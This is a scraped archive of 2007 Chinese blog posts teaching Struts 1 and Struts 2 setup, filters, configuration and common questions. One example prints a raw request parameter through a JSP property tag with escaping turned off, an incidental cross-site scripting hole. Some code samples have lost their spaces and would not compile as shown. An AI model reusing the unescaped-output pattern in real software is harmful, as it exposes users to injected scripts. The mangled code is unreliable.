    import javax.servlet.http.HttpServletRequest;
    import javax.servlet.http.HttpServletResponse;
    import javax.servlet.http.HttpSession;

    import org.apache.struts2.interceptor.ServletRequestAware;
    import org.apache.struts2.interceptor.ServletResponseAware;
    import org.apache.struts2.interceptor.SessionAware;

    import com.opensymphony.xwork2.ActionContext;
    import com.opensymphony.xwork2.ActionSupport;

    publicclass IoCServlet extends ActionSupport implements SessionAware,
    ServletRequestAware, ServletResponseAware {
          private String message;
          private Map att;
          private HttpServletRequest request;
          private HttpServletResponse response;    
        
          public String getMessage() {
              return message;        
          }
        
          publicvoid setSession(Map att) {
              this.att = att;
          }
        
          publicvoid setServletRequest(HttpServletRequest request) {
              this.request = request;
          }
        
          publicvoid setServletResponse(HttpServletResponse response) {
              this.response = response;
          }
        
          @Override
          public String execute() {        
              att.put("msg", "Hello World from Session!");
            
              HttpSession session = request.getSession();
            
              StringBuffer sb =new StringBuffer("Message from request: ");
              sb.append(request.getParameter("msg"));
              sb.append("<br>Response Buffer Size: ");
              sb.append(response.getBufferSize());
              sb.append("<br>Session ID: ");
              sb.append(session.getId());
            
              message = sb.toString();
              return SUCCESS;
          }
    }例6 classes/tutorial/IoCServlet.java

    <%@ page contentType="text/html; charset=UTF-8" %>
    <%@ taglib prefix="s" uri="/struts-tags"%>
    <html>
    <head>
          <title>Hello World!</title>
    </head>
    <body>
          <h2>
              <s:property value="message" escape="false"/>
              <br>Message from session: <s:property value="#session.msg"/>
          </h2>
    </body>
    </html>例6 Servlet.jsp

    <action name="NonIoCServlet" class="tutorial.NonIoCServlet">
          <result>/Servlet.jsp</result>
    </action>
    <action name="IoCServlet" class="tutorial.IoCServlet">
          <result>/Servlet.jsp</result>
    </action>例6 classes/struts.xml中NonIocServlet和IoCServlet Action的配置
    运行Tomcat,在浏览器地址栏中键入http://localhost:8080/Struts2_Action/NonIoCServlet.action?msg=Hello%20World!
    http://localhost:8080/Struts2_Action/IoCServlet.action?msg=Hello%20World!,出现如图7所示页面。


            在Servlet.jsp中,我用了两次property标志,第一次将escape设为false为了在JSP中输出<br>转行,第二次的value中的OGNL为“#session.msg”,它的作用与session.getAttribute("msg")等同。
            关于property或其它标志,可以参考我的上一篇文章《常用的Struts 2.0的标志(Tag)介绍 》

    posted @ 2007-09-24 15:14 jadmin 阅读(79) | 评论 (0)编辑 收藏

    笔者一直相信(呵呵,我也这样认为):要想成为一个优秀的程序员,应该从基本功练起,所有的代码都应该用简单的文本编辑器(包括EditPlus、UtraEdit等工具)完成。笔者经常见到一些有两三年开发经验的程序员,一旦离开了熟悉的IDE(集成开发环境,如Eclipse、JBuilder等),完全不能动手写任何代码。而他们往往还振振有词:谁会不用任何工具来开发?

    实际上,真正优秀的程序员当然可以使用IDE工具,但即使使用VI(UNIX下无格式编辑器)、记事本也一样可以完成非常优秀的项目。笔者对于IDE工具的态度是:可以使用IDE工具,但绝不可依赖于IDE工具。学习阶段,千万不要使用IDE工具;开发阶段,才去使用IDE工具。

     提醒    对于IDE工具,业内有一个说法:IDE工具会加快高手的开发效率,但会使初学者更白痴。

    为了让读者更加清楚Struts 2应用的核心,笔者下面将“徒手”建立一个Struts 2应用。

    2.3.1    创建Web应用

    建立一个Web应用请按如下步骤进行

     在任意目录新建一个文件夹,笔者将以该文件夹建立一个Web应用。

     在第1步所建的文件夹内建一个WEB-INF文件夹。

     进入Tomcat,或任何Web容器内,找到任何一个Web应用,将Web应用的WEB-INF下的web.xml文件复制到第2步所建的WEB-INF文件夹下。

     修改复制的web.xml文件,将该文件修改成只有一个根元素的XML文件,修改后的web.xml文件代码如下:

    <?xml version="1.0" encoding="GBK"?>

    <!-- web-app是Web应用配置文件的根元素,指定Web应用的Schema信息 -->

    <web-app version="2.4" xmlns="http://java.sun.com/xml/ns/j2ee"

                                       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"

                                       xsi:schemaLocation="http://java.sun.com/xml/ns/j2ee http://java.sun.

                                          com/xml/ns/j2ee/web-app_2_4.xsd">

    </web-app>

     在第2步所建的WEB-INF路径下,新建两个文件夹:classes和lib,它们分别用于保存单个*.class文件和JAR文件。

    经过上面步骤,已经建立了一个空Web应用。将该Web应用复制到Tomcat的webapps路径下,该Web应用将可以自动部署在Tomcat中。

    将2.2节所定义的JSP页面文件复制到第1步所建的文件夹下,该JSP页面将成为该Web应用的一个页面。该Web将有如下文件结构:

    Struts2qs

    |-WEB-INF

    |       |-classes

    |       |-lib

    |       |-web.xml

    |-login.jsp

    上面的Struts2qs是Web应用所对应文件夹的名字,可以更改;login.jsp是该Web应用下JSP页面的名字,也可以修改。其他文件夹、配置文件都不可以修改。

    启动Tomcat,在浏览器中浏览2.2节定义的JSP页面,将看到如图2.1所示的页面。

    2.3.2    增加Struts 2功能

    为了给Web应用增加Struts 2功能,只需要将Struts 2安装到Web应用中即可。在Web应用中安装Struts 2框架核心只需要经过如下三个步骤。

     修改web.xml文件,在web.xml文件中配置Struts 2的核心Filter。

     将Struts 2框架的类库复制到Web应用的WEB-INF/lib路径下。

     在WEB-INF/classes下增加struts.xml配置文件

    下面是增加了Struts 2功能后Web应用的文件结构:

    Struts2qs

    |-WEB-INF

    |       |-classes(struts.xml)

    |       |-lib(commons-logging.jar,freemarker.jar,ognl.jar,struts2-core.jar,xwork.jar)

    |       |-web.xml

    |-login.jsp

    在上面的文件结构中,lib下Struts 2框架的类库可能有版本后缀。例如commons-logging.jar,可能是commons-logging-1.1.jar;struts2-core.jar可能是struts2-core-2.0.6.jar。

    修改后的web.xml文件在2.1节已经给出了,故此处不再赘述。

    此处需要给读者指出的是,Struts 2的Web应用默认需要Java 5运行环境,需要Web容器支持Servlet API 2.4和JSP API 2.0。如果读者需要使用更低版本的Java运行时环境,则需要使用Struts 2框架的JDK 1.4支持。为了简单起见,笔者建议读者使用Java 5运行时环境,使用Tomcat 5.5或者更高版本。

     注意    Struts 2应用默认需要Java 5运行时环境,需要支持Servlet API 2.4和JSP API 2.0的Web容器。

    posted @ 2007-09-24 14:57 jadmin 阅读(82) | 评论 (0)编辑 收藏
    Struts 2已经发布了其产品化GA(General Availability)版,其实最新的产品化GA版是Struts 2.06(已经是2.0.9了),故本书的所有应用都是基于该版本的Struts 2。建议读者下载Struts 2.06版,而不是下载最新的Beta版,如果Struts 2有最新的GA版,读者也可以下载更新的GA版,相信不会有太大差异。

    下载和安装DWR请按如下步骤进行。

    *登录http://struts.apache.org/download.cgi#Struts206站点,下载Struts 2的最新GA版。在Struts 2.06下有如下几个选项:

    —    Full Distribution:下载Struts 2的完整版。通常建议下载该选项。

    —    Example Applications:下载Struts 2的示例应用,这些示例应用对于学习Struts 2有很大的帮助,下载Struts 2的完整版时已经包含了该选项下全部应用。

    —    Blank Application only:仅下载Struts 2的空示例应用,这个空应用已经包含在Example Applications选项下。

    —    Essential Dependencies:仅仅下载Struts 2的核心库,下载Struts 2的完整版时将包括该选项下的全部内容。

    —    Documentation:仅仅下载Struts 2的相关文档,包含Struts 2的使用文档、参考手册和API文档等。下载Struts 2的完整版时将包括该选项下的全部内容。

    —    Source:下载Struts 2的全部源代码,下载Struts 2的完整版时将包括该选项下的全部内容。

    —    Alternative Java 4 JARs:下载可选的JDK 1.4的支持JAR。下载Struts 2的完整版时将包括该选项下的全部内容。

    通常建议读者下载第一个选项:下载Struts 2的完整版,将下载到的Zip文件解压缩,该文件就是一个典型的Web结构,该文件夹包含如下文件结构:

    —    apps:该文件夹下包含了基于Struts 2的示例应用,这些示例应用对于学习者是非常有用的资料。

    —    docs:该文件夹下包含了Struts 2的相关文档,包括Struts 2的快速入门、Struts 2的文档,以及API文档等内容。

    —    j4:该文件夹下包含了让Struts 2支持JDK 1.4的JAR文件。

    —    lib:该文件夹下包含了Struts 2框架的核心类库,以及Struts 2的第三方插件类库。

    —    src:该文件夹下包含了Struts 2框架的全部源代码。

    将lib文件夹下的Struts2-core-2.0.6.jar、xwork-2.0.1.jar和ognl-2.6.11.jar等必需类库复制到Web应用的WEB-INF/lib路径下。当然,如果你的Web应用需要使用Struts 2的更多特性,则需要将更多的JAR文件复制到Web应用的WEB-INF/lib路径下。如果需要在DOS或者Shell窗口下手动编译Struts 2相关的程序,则还应该将Struts2-core-2.0.6.jar和xwork-2.0.1.jar添加到系统的CLASSPATH环境变量里。

    提示    大部分时候,使用Struts 2的Web应用并不需要利用到Struts 2的全部特性,因此没有必要一次将该lib路径下JAR文件全部复制到Web应用的WEB-INF/lib路径下。

    编辑Web应用的web.xml配置文件,配置Struts 2的核心Filter。下面是增加了Struts 2的核心Filter配置的web.xml配置文件的代码:

    <?xml version="1.0" encoding="GBK"?>

    <!-- web-app是Web应用配置文件的根元素,指定Web应用的Schema信息 -->

    <web-app version="2.4" xmlns="http://java.sun.com/xml/ns/j2ee"

                                       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"

                                       xsi:schemaLocation="http://java.sun.com/xml/ns/j2ee http://java.sun.

                                          com/xml/ns/j2ee/web-app_2_4.xsd">

                                       <!-- 定义Struts 2的FilterDispatcher的Filter -->

                                        <filter>

                                          <!-- 定义核心Filter的名字 -->

                                        <filter-name>struts2</filter-name>

                                          <!-- 定义核心Filter的实现类 -->

                                        <filter-class>org.apache.Struts2.dispatcher.FilterDispatcher

                                              </ filter-class>

                                        </filter>

                                       <!-- FilterDispatcher用来初始化Struts 2并且处理所有的Web请求 -->

                                        <filter-mapping>

                                        <filter-name>Struts2</filter-name>

                                        <url-pattern>/*</url-pattern>

                                        </filter-mapping>

    </web-app>

    经过上面3个步骤,我们已经可以在一个Web应用中使用Struts 2的基本功能了,下面将带领读者进入Struts 2 MVC框架的世界。

    posted @ 2007-09-24 14:56 jadmin 阅读(90) | 评论 (0)编辑 收藏
    index.jsp中设计表单(只包含<body>标签内的内容):

    <body>

      <h4>请输入你的基本信息</h4>

        <formname="infoForm"action="go.action"method="POST">

            姓名:<inputtype="text"name="person.name"/><br>

            性别:<selectname="person.sex">

                 <optionvalue=""></option>

                 <optionvalue=""></option>

            </select><br>

            地址:<inputtype="text"name="person.address"/><br>

            电话:<inputtype="text"name="person.phone"/><br>

            <inputtype="submit"value="提交"/>&nbsp;&nbsp;<inputtype="reset"value="重置"/><br>

        </form>

      </body>

    创建com.action包,其中写MyAction.java文件,注意它是ActionSupport类的子类。ActionSupport类在com.opensymphony.xwork2.ActionSupport中。

    packagecom.action;

    importcom.bean.Person;

    importcom.opensymphony.xwork2.ActionSupport;

    publicclassMyActionextendsActionSupport {

        privatePersonperson;

        @Override

        publicString execute()throwsException {

           //TODOAuto-generated method stub

           returnSUCCESS;

        }

        publicPerson getPerson() {

           returnperson;

        }

        publicvoidsetPerson(Person person) {

           if(person ==null) person =newPerson();

           this.person= person;

        }

    }

    posted @ 2007-09-24 14:48 jadmin 阅读(90) | 评论 (0)编辑 收藏

    这时web.xml中相应的地方就改为:

    <filter>

           <filter-name>struts</filter-name>

           <filter-class>

               com.filter.NewFilterDispatcher

           </filter-class>

           <init-param>

                <param-name>encoding</param-name>

                <param-value>GB2312</param-value>

            </init-param>

        </filter>

        

        <filter-mapping>

           <filter-name>struts</filter-name>

           <url-pattern>/*</url-pattern>

        </filter-mapping>

    说明

    (1)该类是FilterDispatcher类的子类。

    (2)该类有个成员变量,名为encoding,默认是“GB<?xml:namespace prefix = st1 />2312

    (3)注意在web.xml中,<filter>标签里多了<init-param>标签,顾名思义,它的作用是初始化一个参数,里面定义了参数名和参数值。因此,在子类中,需要重写init方法,其中:

    String encodingParam = filterConfig.getInitParameter("encoding");

       就是从web.xml中读出了参数名为encoding的值,然后赋给子类中的encoding成员。

    (4)重写dofilter方法,加上:

      request.setCharacterEncoding(encoding);

    然后再调用父类的dofilter方法,这样就完成了编码的转换。

    (5)如果需要使用其它编码(如“UTF-8等),只要改变<param-value>中的值即可。

    这样就把struts2.0加入到工程中了。

    三、Struts2.0的配置文件

    除了在web.xml中配置以外,struts2.0还有几个自己的配置文件,其中最重要的两个是struts.propertiesstruts.xml都要放到src目录下

    Struts.properties的原文件可以在struts-core-2.0.x.jar中找到,原名叫default.properties,将其解压出来,并改名为struts.properties,放到工程的src目录下,然后还需要修改里面的值。比如:

    struts.locale=zh_CN

    struts.i18n.encoding=GB2312

    修改以后,这样struts才能认识中文。

    再比如:

    struts.action.extension=action

    这是个默认值,意思说,struts的每个action的后缀都是.action

    修改后的struts.properties文件在ftp上。

    Struts.xml文件用于配置所有的action,在后文有详细的配置方法。

    四、创建JavaBean

    创建com.bean包,确定需要输入的个人信息有“姓名”、“性别”、“地址”、“电话”,因此先定义一个JavaBean,名为Person.java,放到com.bean包中,它包括四个成员以及相应的getset方法:(待续)

    posted @ 2007-09-24 14:48 jadmin 阅读(80) | 评论 (0)编辑 收藏
    创建工程,比如Struts2

    struts-<?xml:namespace prefix = st1 />2.0.6\lib中的的jar文件全部(为了后面的功能扩张)粘贴工程Struts2lib目录中。

    二、           配置项目的web.xml      

    Struts2.0所有的配置被整合在一个Filter里面,该Filter位于org.apache.struts2.dispatcher.FilterDispatcher,因此,在web.xml中应该这样声明:

    <filter>

           <filter-name>struts</filter-name>

           <filter-class>

               org.apache.struts2.dispatcher.FilterDispatcher

           </filter-class>

        </filter>

        

        <filter-mapping>

           <filter-name>struts</filter-name>

           <url-pattern>/*</url-pattern>

    </filter-mapping>

    但是,该Filter一个问题,就是从页面传到后台的中文经过这个过滤器后会变成乱码,为了解决这个问题,需要重写这个过滤器,最简单的方法是写一个类继承FilterDispatcher,在src目录下创建com.filter包,在包中建立NewFilterDispatcher类,继承FilterDispatcher,代码如下:

    packagecom.filter;

    importjava.io.IOException;

    importjavax.servlet.FilterChain;

    importjavax.servlet.FilterConfig;

    importjavax.servlet.ServletException;

    importjavax.servlet.ServletRequest;

    importjavax.servlet.ServletResponse;

    importorg.apache.struts2.dispatcher.FilterDispatcher;

    publicclassNewFilterDispatcherextendsFilterDispatcher {

        privatestaticStringencoding="GB2312";

            publicvoidinit(FilterConfig filterConfig)throwsServletException {

                super.init(filterConfig);

                String encodingParam = filterConfig.getInitParameter("encoding");

                if(encodingParam !=null&& encodingParam.trim().length() != 0) {

                   encoding= encodingParam;

                }

            }

            publicvoiddoFilter(ServletRequest request, ServletResponse response,

                    FilterChain chain)throwsIOException, ServletException {

                request.setCharacterEncoding(encoding);

                super.doFilter(request, response, chain);

            }

        

    }(待续)

    posted @ 2007-09-24 14:46 jadmin 阅读(109) | 评论 (0)编辑 收藏
    Question: constant name="struts.action.extension" value="action"     问题
    Answer:这个是系统从struts.properties默认继承这个配置,所以用的时候会自动加上.action
    The URL extension to use to determine if the request is meant for a Struts action
    用URL扩展名来确定是否这个请求是被用作Struts action,其实也就是设置 action的后缀,例如login.do的'do'字。
    s:form 的时候用

    Question:Struts2的xml的配置
    Answer:Struts2默认会读取classpath下的struts-default.xml,struts-plugin.xml,struts.xml这三个文件。
    struts-plugin.xml的位置struts-plugin.xml会在你下载的plugin的jar包中,如struts2-spring-plugin-2.0.6.jar。

    Question:java.lang.NullPointerException 异常
    Answer:应该没在web.xml有配置struts 2的filter,试下将以下列代码加到web.xml的元素之间:
    好像需要Tomcat 5.5以上,5.0会有问题,诸如NullPointerExceptio之类的

    Question:Could not find or error in struts.properties
    java.lang.IllegalStateException: struts.properties missing
    问题解决:把struts.properties 放到classes下即可了

    Question:的action才与struts.xml中的Action名一样,
    而 <form> 中的action应为你的Action的路径的全名如/mypath/myaction.action;
    Answer:Action中的属性值可以通过Javabean规范与请求是的参数绑定,
    所以等Form标志的name属性必须与Action属性名一致。

    Question:取得Servlet API中的一些对象,如request、response或session等,应该怎么做?
    Answer:com.opensymphony.xwork2.ActionContext,可以通过它的静态方法getContext()获取当前Action的上下文对象,
    非IOC:
    另外,org.apache.struts2.ServletActionContext作为辅助类(Helper Class),可以帮助您快捷地获得这几个对象,
    HttpServletRequest request = ServletActionContext.getRequest();
    HttpServletResponse response = ServletActionContext.getResponse();
    HttpSession session = request.getSession();
    IOC:
    import org.apache.struts2.interceptor.ServletRequestAware;
    import org.apache.struts2.interceptor.ServletResponseAware;
    import org.apache.struts2.interceptor.SessionAware;
    publicclass IoCServlet extends ActionSupport implements SessionAware, ServletRequestAware, ServletResponseAware {
         private String message;
         private HttpServletRequest request;
         private HttpServletResponse response;
    }

    Question:表达式的问题,有${表达式}、带有#的表达式(如上文中的#session.msg),还有%开始的表达式,
    这些好像都是取出里面的值,请问这些$、#、%开头的表达式有什么不同?各自在什么情况下使用?
    Answer:OGNL中的${...}可以在定义Action的result时,传递变量,如/deleteBook.action?isbn=${isbn}。也可以在国际化时引用变量;
    #用于在页面上引用ActionContext的值,也可以构造映射(Map)等,如#request.xxx;
    %{...}在标签属性中引用变量,如

    Question:如何得到cookies
    Answer:先在Action中拿到HttpServletRequest的对象(请参考《Struts 2.0的Action讲解》),然后调用request.getCookies()。

    Question:
    页面就可以直接获取${message},请问这默认是request级别的吗?
    如果是session级别的,是不是要在取得session后
    在代码中明确写入,session.setAttribute(xx.xxxx)
    Answer:这些值是放在ActionContext中的,所以不是request或session等

    转载资料 from http://www.blogjava.net/max

    posted @ 2007-09-24 14:40 jadmin 阅读(127) | 评论 (0)编辑 收藏
    Struts2与Struts1的对比

    Action 类:
    • Struts1要求Action类继承一个抽象基类。Struts1的一个普遍问题是使用抽象类编程而不是接口。
    • Struts 2 Action类可以实现一个Action接口,也可实现其他接口,使可选和定制的服务成为可能。Struts2提供一个ActionSupport基类去实现 常用的接口。Action接口不是必须的,任何有execute标识的POJO对象都可以用作Struts2的Action对象。
    线程模式:
    • Struts1 Action是单例模式并且必须是线程安全的,因为仅有Action的一个实例来处理所有的请求。单例策略限制了Struts1 Action能作的事,并且要在开发时特别小心。Action资源必须是线程安全的或同步的。
    • Struts2 Action对象为每一个请求产生一个实例,因此没有线程安全问题。(实际上,servlet容器给每个请求产生许多可丢弃的对象,并且不会导致性能和垃圾回收问题)
    Servlet 依赖:
    • Struts1 Action 依赖于Servlet API ,因为当一个Action被调用时HttpServletRequest 和 HttpServletResponse 被传递给execute方法。
    • Struts 2 Action不依赖于容器,允许Action脱离容器单独被测试。如果需要,Struts2 Action仍然可以访问初始的request和response。但是,其他的元素减少或者消除了直接访问HttpServetRequest 和 HttpServletResponse的必要性。
    可测性:
    • 测试Struts1 Action的一个主要问题是execute方法暴露了servlet API(这使得测试要依赖于容器)。一个第三方扩展--Struts TestCase--提供了一套Struts1的模拟对象(来进行测试)。
    • Struts 2 Action可以通过初始化、设置属性、调用方法来测试,“依赖注入”支持也使测试更容易。
    捕获输入:
    • Struts1 使用ActionForm对象捕获输入。所有的ActionForm必须继承一个基类。因为其他JavaBean不能用作ActionForm,开发者经常创建多余的类捕获输入。动态Bean(DynaBeans)可以作为创建传统ActionForm的选择,但是,开发者可能是在重新描述(创建)已经存在的JavaBean(仍然会导致有冗余的javabean)。
    • Struts 2直接使用Action属性作为输入属性,消除了对第二个输入对象的需求。输入属性可能是有自己(子)属性的rich对象类型。Action属性能够通过web页面上的taglibs访问。Struts2也支持ActionForm模式。rich对象类型,包括业务对象,能够用作输入/输出对象。这种ModelDriven 特性简化了taglib对POJO输入对象的引用。
    表达式语言:
    • Struts1 整合了JSTL,因此使用JSTL EL。这种EL有基本对象图遍历,但是对集合和索引属性的支持很弱。
    • Struts2可以使用JSTL,但是也支持一个更强大和灵活的表达式语言--"Object Graph Notation Language" (OGNL).
    绑定值到页面(view):
    • Struts 1使用标准JSP机制把对象绑定到页面中来访问。
    • Struts 2 使用 "ValueStack"技术,使taglib能够访问值而不需要把你的页面(view)和对象绑定起来。ValueStack策略允许通过一系列名称相同但类型不同的属性重用页面(view)。
     
    类型转换:
    • Struts 1 ActionForm 属性通常都是String类型。Struts1使用Commons-Beanutils进行类型转换。每个类一个转换器,对每一个实例来说是不可配置的。
    • Struts2 使用OGNL进行类型转换。提供基本和常用对象的转换器。
    校验:
    • Struts 1支持在ActionForm的validate方法中手动校验,或者通过Commons Validator的扩展来校验。同一个类可以有不同的校验内容,但不能校验子对象。
    • Struts2支持通过validate方法和XWork校验框架来进行校验。XWork校验框架使用为属性类类型定义的校验和内容校验,来支持chain校验子属性
    Action执行的控制:
    • Struts1支持每一个模块有单独的Request Processors(生命周期),但是模块中的所有Action必须共享相同的生命周期。
    • Struts2支持通过拦截器堆栈(Interceptor Stacks)为每一个Action创建不同的生命周期。堆栈能够根据需要和不同的Action一起使用。
    posted @ 2007-09-24 14:36 jadmin 阅读(45) | 评论 (0)编辑 收藏

    Struts安装:
    首先请到http://jakarta.apache.org/Struts下载Struts,建议使用release版,现在最高版本为1.1,下载后得到的是一个ZIP文件。
    将ZIP包解开,可以看到这个目录:lib和webapps,webapps下有一些WAR文件。假设你的Tomcat装在c:\Tomcat下,则将那些WAR文件拷贝到C:\Tomcat\webapps,重新启动Tomcat即可。打开浏览器,在地址栏中输入:http://localhost:8080/Struts-example/index.jsp,若能见到“powered by Struts”的深蓝色图标,即说明成功了。这是Struts自带的一个例子,附有详细的说明文档,可以做为初学者的入门教程。另外,Struts还提供了一系统实用对象:XML处理、通过Java reflection APIs自动处理JavaBeans属性、国际化的提示和消息等
    一个实例:
    一个用户注册系统,用户通过网页输入相关信息:注册ID号,密码,EMAIL,若注册成功,则返回成功提示信息,反之出现注册失败提示信息。
    以下是相关文件的部分核心代码。

    项目建立:
    正式开发前,需要在Tocmat(我的tomcat装在c:\tomcat)中建立此项目。比较快的一种建立方式为:在C:\tomcat\webapps下新建目录test,再将C:\tomcat\webapps\struts-example下的
    WEB-INF目录拷贝到test目录下,然后将test\WEB-INF下的src和classes目录清空,以及struts-config.xml文件中内容清空即可。这样,我们需要的Struts类包及相关的配置文件就都齐了。
    开发时,将JSP文件放在test目录下,Java原文件放在test\WEB-INF\src下,编译后的类文件放在test\WEB-INF\classes下。

    注册页面:reguser.jsp

    <%@ page contentType="text/html;charset=UTF-8" language="java" %>
    <%@ taglib uri="/WEB-INF/Struts-bean.tld" prefix="bean" %>
    <%@ taglib uri="/WEB-INF/Struts-html.tld" prefix="html" %>
    <html:html locale="true">
    <head>
    <title>RegUser</title>
    <html:base/>
    </head>
    <body bgcolor="white">
    <html:errors/>
    <html:form action="/regUserAction" focus="logname">
    <table border="0" width="100%">
    <tr>
    <th align="right">
    Logname:
    </th>
    <td align="left">
    <html:text property="logname" size="20" maxlength="20"/>
    </td>
    </tr>
    <tr>
    <th align="right">
    Password:
    </th>
    <td align="left">
    <html:password property="password" size="20" maxlength="20"/>
    </td>
    </tr>
    <tr>
    <th align="right">
    E-mail:
    </th>
    <td align="left">
    <html:password property="email" size="30" maxlength="50"/>
    </td>
    </tr>
    <tr>
    <td align="right">
    <html:submit property="submit" value="Submit"/>
    </td>
    <td align="left">
    <html:reset/>
    </td>
    </tr>
    </table>
    </html:form>
    </body>
    </html:html>

    此JSP页面不同于普通的JSP页,因为它大量运用了taglib,这些taglib对初学者而言,可能难于掌握,可这却是Struts的精华之一。灵活运用,将大大提高开发效率。

    Struts-config.xml:

    <Struts-config>
    <form-beans>
    <form-bean name="regUserForm"
    type="org.cjea.Struts.example. RegUserForm "/>
    </form-beans>
    <action-mappings>
    <action path="/regUserAction"
    type=" org.cjea.Struts.example.RegUserAction "
    attribute=" regUserForm "
    scope="request"
    validate="false">
    <forward name="failure" path="/ messageFailure.jsp"/>
    <forward name="success" path="/ messageSuccess.jsp"/>
    </action>
    </action-mappings>
    </Struts-config>

    Struts的核心是Controller,即ActionServlet,而ActionServlet的核心就是Struts-config.xml,Struts-config.xml集中了所有页面的导航定义。对于大型的WEB项目,通过此配置文件即可迅速把握其脉络,这不管是对于前期的开发,还是后期的维护或升级都是大有裨益的。掌握Struts-config.xml是掌握Struts的关键所在。

    FormBean:RegUserForm

    package org.cjea.Struts.example;

    import javax.Servlet.http.HttpServletRequest;
    import org.apache.Struts.action.ActionForm;
    import org.apache.Struts.action.ActionMapping;

    public final class RegUserForm extends ActionForm{

    private String logname;
    private String password;
    private String email;

    public RegUserForm(){
    logname = null;
    password = null;
    email = null;
    }

    public String getLogName() {
    return this.logname;
    }
    public void setLogName(String logname) {
    this.logname = logname;
    }
    public void setPassWord(String password) {
    this.password = password;
    }
    public String getPassWord() {
    return this.password;
    }
    public void setEmail(String email) {
    this.email = email;
    }
    public String getEmail() {
    return this.email;
    }

    public void reset(ActionMapping mapping, HttpServletRequest request)
    {
    logname = null;
    password = null;
    email = null;
    }
    }

    每一个FormBean 都必须继承ActionForm类,FormBean是对页面请求的封装。即把HTTP request 封装在一个对象中,需要说明的一点就是多个HTTP request可以共用一个FormBean,便于维护和重用。

    ActionBean:RegUserAction

    package org.cjea.Struts.example;

    import javax.Servlet.http.*;
    import org.apache.Struts.action.*;

    public final class RegUserAction extends Action
    {

    public ActionForward perform(ActionMapping mapping,
    ActionForm form, HttpServletRequest req,
    HttpServletResponse res)
    {
    String title = req.getParameter("title");
    String password = req.getParameter("password");
    String email = req.getParameter("email");
    /*
    取得用户请求,做相应数据库操作,略
    */
    }
    }

    FormBean的产生是为了提供数据给ActionBean,在ActionBean中可以取得FormBean中封装的数据,经相应的逻辑处理后,调用业务方法完成相应业务要求。

    Servlet的演变:在常规的 JSP,Servlet,JavaBean三层结构中,JSP实现View的功能,Servlet实现Controller的功能,JavaBean实现Model的实现。

    在Struts中,将常规情况下的Servlet拆分与ActionServlet、FormBean、ActionBean三个部分。ActionServlet配合Struts-config.xml,专职完成页面导航,而不再负责具体的数据获取与相应逻辑,这两部分功能由FormBean和ActionBean来完成。

    Struts优缺点
    优点:
    Struts跟Tomcat、Turbine等诸多Apache项目一样,是开源软件,这是它的一大优点。使开发者能更深入的了解其内部实现机制。
    除此之外,Struts的优点主要集中体现在两个方面:Taglib和页面导航。Taglib是Struts的标记库,灵活动用,能大大提高开发效率。另外,就目前国内的JSP开发者而言,除了使用JSP自带的常用标记外,很少开发自己的标记,或许Struts是一个很好的起点。
    关于页面导航,我认为那将是今后的一个发展方向,事实上,这样做,使系统的脉络更加清晰。通过一个配置文件,即可把握整个系统各部分之间的联系,这对于后期的维护有着莫大的好处。尤其是当另一批开发者接手这个项目时,这种优势体现得更加明显。
    缺点:
    Taglib是Struts的一大优势,但对于初学者而言,却需要一个持续学习的过程,甚至还会打乱你网页编写的习惯,但是,当你习惯了它时,你会觉得它真的很棒。
    Struts将MVC的Controller一分为三,在获得结构更加清晰的同时,也增加了系统的复杂度。
    Struts从产生到现在还不到半年,但已逐步越来越多运用于商业软件。虽然它现在还有不少缺点,但它是一种非常优秀的J2EE MVC实现方式,如果你的系统准备采用J2EE MVC架构,那么,不妨考虑一下Struts。

    Struts实施经验:
    1、基于Struts架构的项目开发,首先需要有一个很好的整体规划,整个系统中包括哪几个模块,每个模块各需要多少FormBean和ActionBean等,而且最好有专人负责Struts-config.xml的管理。开发基于Struts的项目的难点在于配置管理,尤其是对Struts-config.xml的管理

    2、如果你的项目非常紧,并且项目组中又没有富有经验的Struts开发人员,建议不要冒然采用Struts。Struts的掌握需要一个过程,对于一个熟练的JSP程序员,自学大概需要半个月左右的时间。如果结合titls,则需要更长的时间

    3、如果你在网页中大量运用taglib,那么你的美工将做出部分牺牲。当你结合Tiles,功能增强的同时,这种牺牲尤为明显。当然,你对功能和美观的取舍由你自己决定

    4、Taglib是一个好东西,但灵活运用它却需要一个过程,如果你不想在Taglib上花太多的时间,那么只需理解与FORM有关的几个标记,其它的标记就放着吧,以后再看,先去研究ActionServlet和Struts-config.xml,你会觉得很有成就感

    5、Struts是否只适合于大型项目呢?No!Struts适合于各种大小的项目,当然,对于大型项目,它所体现出来的优势更加明显。

    posted @ 2007-09-24 09:27 jadmin 阅读(54) | 评论 (0)编辑 收藏

    struts.action.extension
               The URL extension to use to determine if the request is meant for a Struts action
                用URL扩展名来确定是否这个请求是被用作Struts action,其实也就是设置 action的后缀,例如login.do的'do'字。

    struts.configuration
               The org.apache.struts2.config.Configuration implementation class
                 org.apache.struts2.config.Configuration接口名

    struts.configuration.files
               A list of configuration files automatically loaded by Struts
                struts自动加载的一个配置文件列表

    struts.configuration.xml.reload
               Whether to reload the XML configuration or not
                是否加载xml配置(true,false)

    struts.continuations.package
                The package containing actions that use Rife continuations
                含有actions的完整连续的package名称

    struts.custom.i18n.resources
               Location of additional localization properties files to load
                加载附加的国际化属性文件(不包含.properties后缀)

    struts.custom.properties
               Location of additional configuration properties files to load
                加载附加的配置文件的位置


    struts.devMode
               Whether Struts is in development mode or not
                是否为struts开发模式

    struts.dispatcher.parametersWorkaround
               Whether to use a Servlet request parameter workaround necessary for some versions of WebLogic
                 (某些版本的weblogic专用)是否使用一个servlet请求参数工作区(PARAMETERSWORKAROUND)

    struts.enable.DynamicMethodInvocation
               Allows one to disable dynamic method invocation from the URL
                 允许动态方法调用

    struts.freemarker.manager.classname
               The org.apache.struts2.views.freemarker.FreemarkerManager implementation class
                org.apache.struts2.views.freemarker.FreemarkerManager接口名

    struts.i18n.encoding
               The encoding to use for localization messages
                国际化信息内码

    struts.i18n.reload
               Whether the localization messages should automatically be reloaded
                是否国际化信息自动加载

    struts.locale
               The default locale for the Struts application
                默认的国际化地区信息

    struts.mapper.class
               The org.apache.struts2.dispatcher.mapper.ActionMapper implementation class
                 org.apache.struts2.dispatcher.mapper.ActionMapper接口

    struts.multipart.maxSize
               The maximize size of a multipart request (file upload)
                multipart请求信息的最大尺寸(文件上传用)

    struts.multipart.parser
               The org.apache.struts2.dispatcher.multipart.          
               MultiPartRequest parser implementation for a multipart request (file upload)
               专为multipart请求信息使用的org.apache.struts2.dispatcher.multipart.MultiPartRequest解析器接口(文件上传用)


    struts.multipart.saveDir
               The directory to use for storing uploaded files
                设置存储上传文件的目录夹

    struts.objectFactory
